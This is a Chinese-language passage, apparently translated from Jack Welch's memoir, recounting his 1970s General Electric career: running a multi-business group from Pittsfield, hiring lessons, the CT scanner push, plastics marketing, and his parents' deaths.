2005年07月27日

  1973年6月,我又获得了一次飞跃。鲁本·加托夫被提升为全公司的战略计划负责人,而我则坐到他的位置当集团的执行官。这次提升意味着我将不得不搬到公司的总部去。我除了要负责原来在匹兹菲尔德的化学和冶金部门外,还要负责很多其他的业务:密尔沃基的医学系统,韦恩堡的电器零件,以及锡拉丘兹的电子元器件。

  这是一个涉及众多产品并且年销售额超过20亿美元的职位。整个集团雇用了46,000名员工,在美国有44座工厂,此外还有比利时、爱尔兰、意大利、日本、荷兰、新加坡和土耳其的业务。

  这次提升确实是一件大事。仅在16个月以前,我被任命为GE的副董事长,那时我只有36岁。现在的这份新工作更使我成为人们关注的焦点。我逐渐成为一名真正的玩家。我到了纽约总部去看样板办公室,这个办公室和在费尔菲尔德的公司计划修建的办公室很类似。GE将于1974年8月搬到那里。我为我的办公室挑选了家具,还有一套标志着某人在公司地位的天花板瓦片。

  现在只有一个问题—一个非常大的问题。我不想搬到公司在费尔菲尔德的新总部去。

  13年来,我一直就住在匹兹菲尔德。我为家人和自己创造了理想的生活。从我1960年住过的狭窄的公寓开始,卡罗琳和我已经无数次搬家,直到最后我们拥有了一套我们自认为这个城市里最好的房子。

  我们在这儿有个好朋友的关系网。我的四个孩子都还小,他们都还在当地的公立学校上学。匹兹菲尔德是一个绝好的养孩子的地方,那儿山水近在咫尺。我有相当多的朋友在匹兹菲尔德的乡村俱乐部,我们经常在那里一起玩高尔夫球或者板网球中的“你死我活”的比赛。此外,我在城里临时组成的冰球队里一直玩到30多岁。我几乎认识这儿的所有人。

  在这里,我感觉自己就像一条小池塘里的大鱼。我不愿放弃这里的一切。匹兹菲尔德还有另外一个长处:它使得我不用参与总部的斗争。

  我在那年夏天的时候飞往纽约去拜访赫姆·韦斯,他当时已经是副董事长了。作为集团的行政官,我需要向赫姆汇报工作。他身材高大,肩膀宽阔,沉稳,不做作。他还曾经是学院里的橄榄球和棒球明星,并且获得了《体育画报》(Sports Illustrated)颁发的年度银质奖章。

  我真的很喜欢他。我们都喜欢高尔夫,喜欢说俏皮话,喜欢赌星期天哪支橄榄球队会赢。他开始是我的老板,后来是我的伙伴和朋友。赫姆总是用他的羽翼保护我。看上去无论我走到哪里,我都会有一个导师引导着我。我并不是在寻找一个人来替代父亲的位置,但是好人总是会出现,并向我伸出援助之手。

  我总是盼望着和赫姆的每一次会面。而这次我来到他的办公室却心怀忐忑。我去他那里是为了请求他让我留在匹兹菲尔德。我争辩说我很多时间都要在那里处理业务。我还保证说每次的月度总部会议我都不会迟到。

  不知道是他心肠软,还是发慈悲,要么就是二者兼而有之,反正赫姆最后同意了我的请求。我简直是跳起来亲吻了他。在他还可能改变主意或者将决定告诉雷吉之前,我就匆匆离开了他的办公室。我知道雷吉肯定希望我留在总部。后来雷吉知道了这件事,他几乎不能相信赫姆会允许我留在原来的地方。

  我搬出了在塑料大街的旧办公室,来到匹兹菲尔德的伯克夏·希尔顿大厦(Berkshire Hilton)二层的一套办公室,我在那里组织了一个五人工作小组。在随后的五年里,我信守了向赫姆许下的诺言—总部开会从未缺席过。每当匹兹菲尔德的天气可能使得机场关闭时,我就在前一天晚上到达总部。如果偶尔碰到坏天气,我会在早上5点就跳上汽车,像个疯子一样开车到纽约,希望能在业务总结开始之前到达。

  这个集团主管的职位是我迄今为止最好的工作。这项新的20亿美元的混合业务使得我有足够的空间来实践我所学到的所有东西。化学和冶金部门,包括塑料业务,都开始发展起来了。电器零件业务是一系列有着高利润的马达和小机械产品,不过销售的半数以上都在GE内部发生。电子元器件业务则是一项真正混杂的业务,从半导体到彩色电视机显像管和蓄电池,无所不包。这些电子元器件的业务中有些做得还不错,但有些确实是在亏损。在医疗业务方面,主要是销售X光设备,这方面的业务很有潜力,不过在1973年也开始出现亏损。

  新的工作给了我将一个新的团队组织起来的机会。我发现了很多聪明、知识渊博、反应敏捷的员工,他们在财政、人力资源、战略策划和法律方面有着令人称道的技能。在和一些公司指派的稍微逊色的候选者合作多年以后,我幸运地最后从“系统”内部发现了两位有能力的GE执行官:汤姆·索尔森(Tom Thorsen)和拉尔夫·哈布雷格森(Ralph Hubregsen)。

  我的财务主管汤姆聪慧、英俊、强壮而幽默。我的人力资源部主管拉尔夫不修边幅,非常勤奋。他面孔粗糙,雪茄烟一直吸到只剩烟屁股,而且搞得到处都是烟灰。他是行政管理的恶魔,经常会通宵达旦地撰写我们将在总部会议上作的财务报告。但是你会发现,他比任何人对人的感觉都更胜一筹。

  我开始从公司外寻找我战略计划的设计者,最后发现了来自布兹·艾伦-汉密尔顿公司(Booz·Allen&Hamilton)的克雷格·莱曼特(Greg Liemandt),他是我从咨询公司招募的众多聪明职员中的第一个,这一点看起来其实很荒谬,因为我根本就不喜欢咨询。克雷格和他们那些人不一样,他总是挑战传统的思维。

  最后,我再次提拔了我以前的总顾问阿尔特·普奇尼,由他负责集团的最高法律工作。阿尔特出生于布鲁克林(Brooklyn),有药剂学和法学学位,加入GE已经好几年了。他是精明和实干的完美结合。

  你会发现团队中有很多性格迥异的职员—有些是GE的内部人员,还有些是从外面招募进来的。不过我们都很朴实,毫不做作,也不拘泥于礼节,而且总是十分直率。

  我们组织好了六名支持我工作的员工,搬进了集团在汉密尔顿3,600平方英尺的办公室。由于跟前没有一个公司的老板,所以我们穿着汗衫和牛仔裤工作。我们在敞开的门里呼来喊去。那时那个地方的感觉就仿佛回到了大学生宿舍。

  每到星期五的晚上,我们经常会去宾馆的屋顶休息室休息,喝上几瓶啤酒,谈论一周的工作。我们一般在晚上6点半到那里,两个小时以后,我们的妻子们也会出现在那里。等到那时候,我们几乎已经穷尽了上个星期所有夸张的故事。听我们讲关于战争的故事并不是她们最好的选择,但是她们很随和。她们之间非常友爱,就像我们一样。我们还常常在星期六晚上聚餐,或者在星期天下午开派对,而且经常带上我们的孩子。

  我们在尽情享受生活中最美好的时光—同时还有报酬。

  我们将很多时间都花在对员工和战略的评估上。我们还租了一架小喷气式飞机以便于行动。就我自己而言,能有一架飞机我非常兴奋。

  但是卡罗琳另有看法。“杰克,你就像个傻瓜,”她说。“他们让你用这架飞机是想把你活活累死!”

  她说得有一定道理,不过我还是喜欢这样。我们经常在星期一早上离开,直到星期五晚上才回来。我们往返于印第安那的韦恩堡、维斯康星的密尔沃基和俄亥俄的哥伦布(Columbus)之间,就像平常串门一样。我敢保证有些经理肯定会想,可恶,这些家伙又来了。一般我们会在会议室里待上好几个小时,层层剥笋,直到某个问题被我们搞得水落石出为止。有些人很喜欢这种讨论方式并称之为智慧的碰撞,但是我敢肯定另外一些人则盼望着早些离开这里。

  我们有着两个世界里最好的东西。我们有一个大公司的资源,同时还拥有我早年在塑料业务中所感受到的那种大家庭的和睦氛围。为了努力做到监督在远地的各式各样的业务,我比以往任何时候都更清楚地知道,我的成功在很大程度上都取决于我所招募的员工,从我在塑料部门工作的最初日子,我就懂得找对人的重要性。只要我找到了不起的人才,世界才会发生变化。

  我是经历了很多的坎坷才认识到这一点的—其间我还犯了不少的大错。我第一次招聘时的自相矛盾就非常可笑。我最常犯的错误就是根据应聘者的外表来决定是否录用。在市场营销方面,我有时会聘用那些外表英俊、谈吐流畅的应聘者。他们中有些确实很优秀,不过同时也有些是徒有其表,外强中干。

  我有时还犯“绝妙的”错误。我30岁的时候,开始在亚洲招聘员工。很明显,我不会说日语,而且对当地的文化也知之甚少。所以在招聘时,如果一名应聘者的英语说得不错,我就很有可能接收了他。过了一段时间以后,我才慢慢发觉,把语言能力当做“招聘过滤器”是一种很狭隘的方法。

  我所犯的很多错误都反映了我自己的愚蠢偏见。这大概是因为我毕业于马萨诸塞大学的缘故,这所学校以前是一所农学院,现在开始在工程领域崭露头角,学院的家族式思维束缚了我。所以根据自己对工程方面的了解,我喜欢选择麻省理工、普林斯顿和加州理工的研究生。我本应提醒自己是哪个学校毕业的。后来,我慢慢地发现,从哪个学校毕业并不能决定他们就有多好!

  最初,我对那些受过多门学科教育、有着多个学位头衔的简历十分偏爱。他们应该是非常聪明且求知欲旺盛的人,但是他们最后总是表现出不能集中精力在某一项业务上,不愿承诺,缺乏对任何一件事情的紧张与热情。

  对于招聘经验甚少的人来说,简历确实是一件杀伤力很强的武器。

  最后,我明白了我真正要寻找的是那些充满了热情、希望做出点成绩来的人。简历并不能告诉你他们内心的饥渴,你必须去“感觉”它。

  在接手的新工作中,我发现我真正熟悉的惟一的工作只在塑料方面。这是我思想上一个很大转折。现在我不能再精确地掌握所有的细节。从而这就使得我对人的要求更为强烈。

  我的主管人力资源的合作伙伴拉尔夫·哈布雷格森和我总是全身心地投入到我们的业务中,我们会花上一整天的时间,在办公室里先和总经理以及他的人力资源执行官讨论,然后接着会见总经理的直接下属。在10到12个小时的激烈讨论后,我就会对我们业务中的中高级管理人员的情况有一个很好的了解。

  这种工作方式在其他人中引起的反应是不可思议。没有人习惯于这种针对团队中每一个人的优缺点进行的充分讨论。

  下属的分管不同部门的四位副董事长承受住了这种激烈讨论的冲击,他们是:主管医药器械业务的朱利安·查理(Julian Charlier),主管化学和冶金业务的沃尔特·罗伯,主管电子元件业务的乔治·法恩斯沃斯(George Farnsworth),以及主管电器业务的弗雷德·霍尔特(Fred Holt)。

  法恩斯沃斯确实是一个睿智的GE行家,他拥有他自己独特的个性。他非常坦率,乖戾,不过也非常诙谐,是我十分喜欢的那种类型的人。霍尔特是另外一个聪明的GE老员工。他在GE待了很多年,参与了公司的几乎每一项业务。他往往能获得他想要的东西。他比我大几乎20岁,见多识广。在他眼里,我就好像是一阵胃疼,不久就会消失的。

  乔治和弗雷德是我管理过的头两个GE主流官员。他们总是认为我不遵守传统,但看上去他们还比较佩服我的热情,如果没有别的什么的话。很明显,现在的工作将是弗雷德最后的一份工作了,而乔治虽然对职位升迁并不是很在意,他后来还是被提升去主管我们的宇航业务。

  查理,这位从比利时列日一所小型医学研究所来的比利时人,现在主管我们的医疗业务。我们两个都向加托夫汇报工作的时候,我观察了他两年。查理是一个温文尔雅的欧洲人,他总是有许多宏大的想法,但很少去付诸实现。他在密尔沃基城外建立了一个漂亮的新医学总部,从而使这项业务有了一个新的值得炫耀的地方。我欣赏他的活跃和创新能力,但是他的虎头蛇尾使我作为他的同事倍感烦恼,后来他开始向我汇报工作的时候,我真的有一种要被逼疯的感觉。

  我继续留着查理是因为我很欣赏他,但是他的盲目乐观并没有奏效。我们因此对这件事情以及这部分业务的不见起色讨论过多次,最后决定他最好还是回到欧洲的另外一家公司去。

  为了替换他,我在一个星期天的晚上给沃尔特·罗伯打了个电话。我以前还在做塑料业务的时候,他总是在星期天晚上给我打电话,给我支持,和我闲谈,替我出主意。

  这次我星期天给他打电话,希望他能够接管医疗器械的业务。我的提议吓了他一跳。“你热爱科技,而且你的求知欲很强,”我说道,“你是最适合运作医疗器械业务的人。”

  沃尔特以为我疯了。因为在短短20个月内,他已经从管理一个小规模的销售额仅有750万美元的医疗器械开发业务的负责人提升为化学和冶金部门的经理,这是GE最大也是最赚钱的一项业务,它的销售额为5亿美元。

  沃尔特只干了四个月就喜欢上了这份工作,但是现在我又要他接管我们的医疗器械方面的业务,这个业务占据了我们半数以上的收入—不过它正在亏损。沃尔特觉得我让他去运作一个不赚钱的业务有些困难,他没有认识到在威斯康星州做X光设备、起搏器和心电图仪器是他“一生中的良机”。不过最后出于对科技的喜爱,还有我的热情怂恿,他还是接受了这份工作。

  沃尔特做的工作主要是将X光设备卖给放射线研究人员或者牙科医生。沃尔特上任后不久,EMI—英语电子音乐公司(现在的音乐公司)—获得了重大的技术突破,即CT(计算机X光断层摄影术)扫描仪。这个突破对我们已有的X光设备造成了巨大的威胁,不过正是这一次巨大的挑战使得我们的竞争精神又一次得到了激发。

  从GE实验室起家的沃尔特,现在又来到在纽约斯克内克塔迪的实验室,请他的科学家朋友们帮忙。因为EMI公司的发明已经在科技界引起了广泛的注意,所以很容易激发实验室的研究人员来把握这次研发机会。而我这时惟一能做的就是每周关注团队研究的进展情况,有时像根赶牛棒,有时又像个啦啦队长。总共有80名研究人员夜以继日地工作,开发一种图像比EMI模型更快更清晰的新设备。每一件事情似乎都因这件事情而开始启动。研究人员们实际上都住在实验室里,每天吃盒装的比萨饼,最后我们终于在密尔沃基一家租用的杂货店里做出了我们的第一台扫描仪。

  1976年早些时候,就已经开始有订购这台价值65万美元的扫描仪的订单了。

  我又一次看到了像一家小公司那样运作的好处。论证一个项目的可行性,投入大量的研发力量,并给他们足够多的资金,这就是成功的最好公式。

  CT永远地改变了医疗器械部门的格局。在沃尔特刚接手它的时候,它还是一项销售额只有2.15亿美元的不赚钱的业务。到了2000年,这部分业务已成了GE所有业务中的一颗璀璨的明珠,每年可以达到70亿美元的销售额,获得17亿美元的利润。

  后来我将以前由沃尔特主管的化学和冶金部门分成了两块,并延缓了高速增长的塑料业务。我将以前主管薄片制品的负责人查克·卡尔森调去负责低速增长但利润颇高的材料业务。

  塑料业务方面呈现出了一种困境。我的朋友汤姆·菲兹杰拉尔德当时负责的是硅业务,并且肯定是内定的塑料业务的负责人。不过正因为他是我的好朋友,我最亲密的工作伙伴,我对他的能力和弱点比任何其他人都更清楚。所以最后我决定将汤姆和我能在外面找到的最佳人选进行一下比较。

  我说过我在雇用人员上犯过错误。再没有比我即将犯的错误更大的了。

  后来我选择了一位曾做过GE硅业务策划工作的“外人”,而没有让汤姆做这份工作。作为一名1960年代早期主管塑料业务的年轻经理,在一次部门级会议上,我为这位候选人的演讲所折服。他是整个领导团队中口齿最为伶俐的一个。他演讲的技巧给我留下的印象非常深刻,因为我自己无论如何也不会演讲。我还记得自己在纽约州库珀斯敦(Cooperstown)的第一次演讲,面对着几百个GE的执行官,开讲前我不得不两次离开前排的观众席到洗手间去。

  我真的很高兴能将他吸引回我的队伍中来。他看上去是那么完美:穿着整洁,健谈,给人的第一印象特别好。他为了获得更大的机会,曾经离开GE到了另外一家化学工业公司,这使我印象更深刻了。将他请回来做集团的副董事长是一件大事。为了做到这一点,我除了必须获得公司在费尔菲尔德的人力资源部的同意外,还要获得赫姆和雷吉的同意。

  没过多久我就发现,我请回来的新人并不适合这份工作。我又犯了15年前通过人的外表来判断一个人能力的错误。我知道我必须纠正这个错误。但这确实是一件很令人尴尬的事情,因为我知道我现在正处在争取继任雷吉职位的竞赛中。在争取雇用这个“外人”的时候,我还顶撞了人力资源部的主管罗伊·约翰逊,他一般都喜欢公司内部的候选人。我可能会遇到大麻烦。

  在六个月内,我不得不到总部去告诉罗伊·约翰逊、赫姆·韦斯和雷吉·琼斯,我弄砸了这件事情,希望把他撤换掉。这一天真难熬啊。我又一次与原有的体制背道而驰。现在回顾起来,我没有提升我的朋友,可他不仅期待着提升,而且完全应该得到提升。同时我也为这个被我提升的人感到难堪,因为这份工作对他来说显然是个错误。

  赫姆的反应表示了对我的支持。“你犯了一个错误。但我很高兴你又迅速地改正了。”雷吉的回答很简单:“好吧。”但看得出来,他还是有一些想法。约翰逊会用我的这次失误作为我还不够成熟的又一个例子。

  弗雷德·霍尔特和法恩斯沃斯不仅善良,而且很机智。他们知道GE的体制是如何运作的。这是我第一次深入到“传统的GE”中。他们的洞察力开阔了我的眼界,使我看清了这另外的一个世界。

  关于弗雷德·霍尔特的故事多得数不清,但我最欣赏的是那次员工鉴定时所发生的事。在韦恩堡的时候,有一天,在一次人力资源评估会上,弗雷德·霍尔特明显地过高评价了一个我熟悉的员工。

  “弗雷德,你这样写到底想干什么?他并没有这么好。我们都知道这个家伙是个无用的东西。这个鉴定太荒谬了。”

  出乎我意料之外的是,弗雷德·霍尔特居然同意我的意见。

  “你想知道真相吗?”他问道。“我不能把真实情况报送到总部去。否则的话,他们会要我干掉这个家伙的。”

  弗雷德·霍尔特在那个年代并不是孤立的。他认为他自己是个好人,在别人不能胜任某项工作时可以保护别人。当年的情况就是这样。没有人希望听到坏消息。在那个年代,员工在鉴定表中填的内容一般都是职业目标至少达到了他们上级工作岗位的标准。而上级们的回答往往是“完全有资格继续承担这个职位”—即使两者都知道这并不是真的。

  1980年代早期,当我决定精简机构的时候,很多“仁慈”的工作鉴定总会困扰我。这种“假慈悲”只会误导人们,并让他们在遭到解雇时比正常的反应更加剧烈。

  从乔治·法恩斯沃斯和他所主管的电子元器件业务中,我得到了两个认识:一个是我对半导体业务并不乐观的看法,我一开始就不太喜欢这项业务。诚然,这项业务正在高速增长,但是它对我来说周期性太强,占用了太多的资金。我花了近一年的时间来减少这方面的业务。

  我从乔治身上得到的第二样东西将伴随我走过随后的25年:即对于PCB(polychlorina biphenyls,多氯联二苯)的争论。乔治管理着纽约州哈得森瀑布(Hudson Falls)的蓄电池业务,他们将PCB当做电绝缘体。这是我第一次积累和政府打交道的经验。

  从1971年到1977年,我的责任越来越大,从负责1亿美元的业务到负责一个4亿美元的部门,再到负责20亿美元的集团。我知道了人的重要性,要支持那些最好的,剔除那些最弱的。我还学会了鼓励高增长的业务如医疗器械和塑料,以及如何摒弃所有的低增长的经营。这是一整套经验。

  到1977年底的时候,我在匹兹菲尔德接了一个电话。是雷吉从费尔菲尔德打来的。他说他想见我,而且很急。我第二天早上就到了。

  “我对你的评价很高,”雷吉说道,“但是杰克,你还不了解通用电气。你只看到了公司的百分之十。通用电气比那要多得多。我为你安排了一项新的工作—消费品业务部门的执行官。但是杰克,这个工作在费尔菲尔德。你再也不能当小池塘里的大鱼了。如果你想有所作为的话,你就必须到这儿来。”

  我非常兴奋自己能获得又一个提升的机会—即使这意味着我最终要离开匹兹菲尔德。卡罗琳盼望着离开。她希望在一个新的地方有一个新的开始,并且希望这次搬家能够有助于我们四个孩子的成长。

  到现在为止,我四个孩子中的两个—凯瑟琳和约翰—已经开始上高中了,而安妮现在正上9年级,马克也上5年级了。尽管我有工作狂的毛病,但我们是一个亲密的家庭。每当开春的时候,我们总会腾出一周时间去滑雪。到了夏天,我们从来都没有耽误过两个星期的休假,总要去科德角租一间房子度假。

  我承认,由于工作,我几乎不曾有过一个完整的假期。我们在科德角的时候,我经常每天两次悄悄地离开沙滩,找一个付费电话打电话到办公室去,看看有什么事情发生。每当滑雪的时候,我也总是溜进旅店里做同样的事情。

  尽管如此,休假还是给了我们充足的时间在一起。我们常常数小时地玩棋类游戏,进行体育运动。我试图在游戏中通过加入娱乐性和竞争性鼓励他们。每当我们回到家的时候,我总会做一些木质的徽章如“最佳输得起运动员”、“最佳小小高尔夫球手”或者“最有潜力棒球手”,然后分发给我的孩子们。我想我正在试图复制我母亲的金拉米游戏。我的一些孩子像我一样—他们承受挫折的能力也不是那么强。

  跟大部分十几岁的孩子一样,他们也不太愿意离开休假的地方。那儿的一切对他们来说都是那么美好。他们在学校都成绩优异,而且有很多的朋友。

  但是并非所有的事情都会一帆风顺。一天早上,我的儿子约翰正坐在学校的校车上,当车在下一站停下来的时候,他的一个同学上了车,径直向他走过去,出其不意地打了他一拳。于是一场殴斗马上发生了,但是可怜的约翰,当时他还只有八九岁的年纪,并不知道为什么会发生这种事。

  直到他在晚饭的饭桌上谈到这件事的时候,我才向他解释说,我让这个小孩的父亲离开了GE。我们对约翰的遭遇都感到难过—特别是我,总是记着这件事情,就好像它昨天才发生一样。

  尽管我对新工作感到很兴奋,但我和这些孩子一样,对离开匹兹菲尔德感到伤感。在我们离开之前,为了能保持和这个地方的联系,我在雷诺克斯附近的山顶买了五英亩不是很贵的地。事实上,那天我们驾着别克客货两用轿车准备离开城镇,在不动产代理商的办公室门前停了下来,进去完成了这笔交易,当时我们的孩子正坐在车的后座上。不知怎么,这样做让我感觉好了一些。

  作为一名“部门执行官”,我到费尔菲尔德的晋升使我进入了一个新的组织梯队。正如其他大公司一样,GE也有着一定的组织层级,而我很幸运能够爬上这个阶梯。有时我觉得GE更像一个行政机关,它总共有29层,并且有着数以百计的头衔和晋升—从实验室到一个小组,到一个子分支机构,到一个分支,到一个部门,再到一个大的部门和集团。这个部门的工作是在27层,离最高层,也就是雷吉自己的岗位,只有区区两层之遥。

  这是一次巨大的跃迁。它使得我加入了雷吉继任者的竞争中。我非常兴奋能有这个机会,但是我所担忧的是,在匹兹菲尔德上演的一切能否在费尔菲尔德的官僚作风中运作开来。

  生活似乎顺风满帆。只有一个遗憾。

  我再也不能和我的父母共享我的成功了。

  我的母亲是在1965年1月25日去世的,这一天是我一生中最伤心的日子。她只活了66岁,但已经被心脏病折磨了很多年。我在阿默斯特的马萨诸塞大学读本科的时候,母亲的心脏病第一次发作。

  当我的姨妈打电话告诉我这个消息的时候,我非常不安,我几乎是冲出宿舍,跑向通往塞勒姆的高速公路。这儿离我的家有110英里。我竖起拇指请求搭车的时候,感到非常焦虑,几乎受不了在路边站着等车。

  在医院住了三周以后,母亲回家休养,过了一段时间,她的身体康复了。那时还没有b阻剂(beta-blockers)和分流手术(正是这些方法几年以后救了我自己的命)。三年以后,母亲的心脏病又一次复发,这一次几乎和第一次一样,不过最后总算好了。此后过了三年,母亲的心脏病第三次复发,这一次是致命的。那时她和父亲正在佛罗里达度假,我将奖金中的1,000美元给了他们,帮助他们逃避新英格兰的严冬。

  这笔钱对我和母亲来说意义非常重大。当我把钱赠给她的时候,她万分骄傲。从我出生的那天起,她给了我所需要的一切东西。区区1,000块钱的礼物使得我终于有一次回报的机会。对她来说,这钱反映了“她的产品”给她带来的快乐。她因我而骄傲。感谢上帝,我做到了这一点。我一生中最大的遗憾就是不能给她所有我能给予她的东西,如果她今天还健在的话。

  当父亲告诉我母亲住进了罗德代尔堡(Fort Lauderdale)医院的时候,我立即从匹兹菲尔德赶到医院母亲的病房。母亲躺在床上,身形憔悴而虚弱。当天晚上她就去世了,我还记得那天坐在她身旁的时候,她要我帮她擦擦背。于是我用温水和肥皂给母亲擦洗,看得出来,她是那么高兴我能帮她擦背。此后,父亲和我回到了他们住的廉价汽车旅馆的一居室。

  我们再也见不到活着的母亲了。

  我沮丧至极。父亲和姨妈坐火车把母亲的遗体运回了塞勒姆,而我则开父亲的车回家。我整晚都朝着北边开,只是在北卡罗来纳高速公路旁的汽车旅馆休息了一小会儿,我在那儿待了四个小时,辗转反侧,无法入眠。我没怎么休息,非常生气。我一路上狂吼乱叫,踢车门发泄自己的不快。我觉得自己被骗了,我为上帝将母亲从我身边带走而感到愤怒、疯狂。

  我回到家的时候,终于失声痛哭出来。在圣托马斯使徒教堂的守夜和举行的葬礼实际上是对母亲一生的颂扬。在塞勒姆的灵堂,我们所有的亲戚、邻居和好几百个我不认识的朋友都来了,他们每个人都有一个我母亲告诉他们的关于她儿子杰克的故事。

  不可避免的是,母亲不厌其烦地讲给朋友们的所有故事中都说到了她为我感到骄傲。

  父亲也很难接受她的死。他是一个心地善良且慷慨大度的人。他在自己还买不起的情况下给我买了一辆新车。他的工作和母亲无微不至的爱护使得他对我的影响要小得多。不过我还是那么爱他。现在看着他拒绝接受生活中没有母亲的现实,我真是难过。

  没了母亲,父亲就像一个掉队的战士一样。记得母亲在的时候,总是严格地限制父亲,让他吃不加盐的清淡食物,因为他患有水肿病。现在父亲丝毫不注意自己的饮食;没过多久,水的潴留使得他的脸开始浮肿,而且他开始发胖了。

  可以说是对饮食的不注意导致了父亲的去世。他水肿情况过于严重,以至于住进了医院。听到这个消息,我立刻了中止了欧洲的商业旅行赶回家。我在上医院的电梯去他病房所在楼层的时候父亲还活着,而当我冲到病床前的时候,他已经死了。距离母亲的去世时间只有短短的15个月,1966年4月22日,父亲随母亲而去。他享年71岁。

  我似乎跌进了痛苦的深渊。我的母亲和父亲都离我而去,我感到无比的悲哀。我很幸运自己还有妻子卡罗琳,是她使我重新振作起来。卡罗琳是一个坚强、聪明而且总是给予我支持的人。她总是告诉我,能有一个这么好的家庭是多么幸运。我们有三个健康的小孩,凯茜(Kathy)、约翰(John)和安妮(Anne)。(马克[Mark]是后来于1968年4月出生的。)不仅在那时,而且在以后的许多时候,她都是我坚实的支柱。

  每当我担心工作上提出不同意见所造成的后果时,卡罗琳都会鼓励我努力去做自己认为是正确的事情,而不要管GE中的其他人会怎么想。在每一次提升后,她和儿女们都会用一些小旗帜将家里和汽车道装饰一新。

  我被提升为主管塑料业务的总经理后,于1969年接受了公司的杂志《花押字》(Monogram)的采访。当记者来到匹兹菲尔德来做我的访谈时,他称我为“韦尔奇博士”。我马上更正道:“我又不是出诊大夫,就叫我杰克吧!”

  记者将这句话引到了文章中。

  我现在的身份更像一个商人,而不再是一名工程师,所以现在我对韦尔奇博士这个称号感到很尴尬。我对这位记者吹牛似地说,我的员工们都是“一群狂热的人”,他们都有自己的“发电机”。我还夸耀说,我在塑料业务上做了一年总经理,我们所取得的成绩要比以往10年多得多。“这儿有金子,而我们都非常幸运能来到这里,挖这里的金矿。”

  我真是个蠢货—对自己过于自信了。我完全没有考虑到以前主管这份业务的经理们,声称我们将打破所有的销售和收益记录。我想那些读了这篇报道的人肯定会气急败坏的。幸运的是,GE的官僚作风与我绝缘,我飞行在雷达下面,得以逃脱。

  当我负责整个塑料的生产时—其中包括历新—我几乎相信自己继承了一笔无价的遗产。和改性聚苯醚相比,历新就像一匹良种马,这种产品像玻璃一样清亮,像钢铁一样坚硬,而且能防火,重量轻。那段时间,波音公司的每一架747大型喷气式客机平均要用400磅的历新。几乎有一半的金属器件被塑料替代。

  多年以来,我们一直在销售一些改性聚苯醚的混成品,现在我们希望这种产品能够进入正轨。我们是二流的人在制造二流的产品。通过低价位,我们设法使其进入了商业领域,如:商用机器的外壳、草地上的洒水装置、吹风机、一次性刮胡刀刀片以及彩色电视机等。不过我们仍然要为500磅的订单而不停奔波。当我们最后拥有历新的时候,我想我们可以与世界较量,而且我们有足够的本钱这么说。

  看起来这种宣告难以让人接受,因为公司对塑料产品并不看好。曾负责塑料业务的那个家伙被提升为负责硅业务的总经理,而这项业务的规模要比塑料业务高出近50%。硅业务的利润非常高,而塑料业务仅仅是维持平衡。

  尽管如此,塑料业的前景仍然是非常广阔的。曾经有预言家说,塑料将是下一个十年发展最为迅速的工业—比计算机和电子工程还要快。甚至连电影里都在说这件事。在《毕业生》这部电影中,达斯汀·霍夫曼甚至还被鼓励去争取一份“塑料”行业的工作!

  于是我们增加了市场营销人员,开始对塑料产品进行促销活动,就像是推销汰渍(Tide)洗衣粉一样。

  我们雇用了圣路易斯红雀队(St. Louis Cardinal)的投手鲍勃·吉普森(Bob Gibson)为我们做广告。我们做了一个电视广告片,镜头中一头公牛闯进一家瓷器商店,四处乱撞,制造了巨大的混乱,然而涂了历新的所有瓷器却没有受到任何损伤。在黄金时段,我们还邀请了喜剧广播演员鲍勃(Bob)和雷伊(Ray)到底特律来增加效果。我们的广告片在早上7点半到8点之间播出,那个时候我们的目标顾客汽车工程师正好在赶往通用汽车(General Motors)、福特(Ford)、克莱斯勒公司(Chrysler)办公室的途中,而那时一般都会塞车。我们还在通往工作地点的所有道路的两旁竖起了推销历新的广告牌。

  当时已率领底特律老虎队(Detroit Tigers)赢得了30场比赛的丹尼·麦克林(Denny McLain)向我投来一个快速直球,而我正在底特律办公室的停车场里,手中拿着一块历新塑料片。当地媒体报道了此事。所有这些营销活动获得了极大的注意力,因为这对于塑料工业来说是一种完全不同的市场推广工作。

  我们希望用历新替换汽车上的每一个金属部件,从仪表板到车窗摇把等等。因为我们在底特律的办公室里只有5名职员,而且要和杜邦的40个人竞争,所以我们必须行动迅速而且富于创造性。我们是在同大的化学公司竞争,而且我们做得很好,这是因为我们能够超越它们。我们是在利用大公司的力量,并以小公司的速度处理所有的事情。

  我们腾飞了。到1970年,我们实现了我自夸的预测,我们在不到三年的时间里,使塑料业务增长了两倍多。不过,尽管功劳赫赫,但我显然已经得罪了公司总部的一些强权人物。

  其中一个就是罗伊·约翰逊(Roy Johnson),他是GE人力资源部的主管。约翰逊的角色就好像是钥匙保管员,他直接向董事长弗雷德·波克(Fred Borch)报告,并最终向雷吉·琼斯负责,所以他对招聘决定起着重大的影响作用。

  几年以后,我发现了约翰逊的一份备忘录,是1971年写给副董事长赫姆·韦斯(Herm Weiss)的。当时,公司正在考虑是否给我另一个提升的机会—主管化学和冶金部门的副董事长,这个职位负责集团4亿美元的销售业务。在备忘录里,约翰逊总结说我应该得到这个提升的机会,但是这个任命“将会带来比一般情况下更大的风险。尽管杰克有很大的勇气,但他尚有许多重大的局限。一方面,他有很强的驱动力去发展一项业务,有着天生的企业家的素质,富有创新精神和进取心,是一个天生的领导者和组织者,而且他还有着高学位的技术背景”。

  “另一方面,”约翰逊接着说,“他多少有些武断,容易情绪化(过度情绪化)—特别是面对批评的时候—在涉及他的业务细节的时候,太容易陷进去出不来;对于复杂的情况,他更倾向于他那快速的思维和直觉,而不是依靠坚实的准备工作和员工的支持来走出困境。此外,在他自己的领域之外,对于通用电气的其他业务他有着某种‘反对现行秩序’的态度。”

  我很高兴事后才发现这份对自己的评论,否则我当时可能做出蠢

  事—尽管他有些话说在了点子上。那时候,我可能不会接受这个批评。约翰逊将我的“局限”归咎于“年轻和不够成熟”,不过幸运的是,他并没有阻止我获得这个职位。感谢上帝,赫姆·韦斯支持我。

  回头看去,也难怪约翰逊和其他人对我持有保留意见。很显然,我并非天生就适合在公司干。我对礼仪既不是非常尊重也不怎么宽容。我是个特别缺乏耐心的经理,尤其是对那些不能很好履行自己职责的人来说。

  我比较生硬、直率,在某些人眼中甚至还有点粗鲁。我的言语不够文雅、明智。我不喜欢坐在那里听预先准备好的演讲,也不喜欢读报告。我更喜欢面对面的交谈,因为这样可以使得经理们了解自己的业务,并能够得出自己的答案。

  我喜欢“积极的冲突”,相信关于商业问题的公开、真诚的辩论能带来最好的决策。如果一个想法没有经过开诚布公的讨论,那么市场就会无情地抛弃它。正如我的好友及GE的前副董事长拉里·博西迪(Larry Bossidy)比喻的,我们的员工会议就好像是米勒清爽啤酒(Miller Lite)的商业广告。他们大叫大嚷,粗声粗气,生气勃勃。

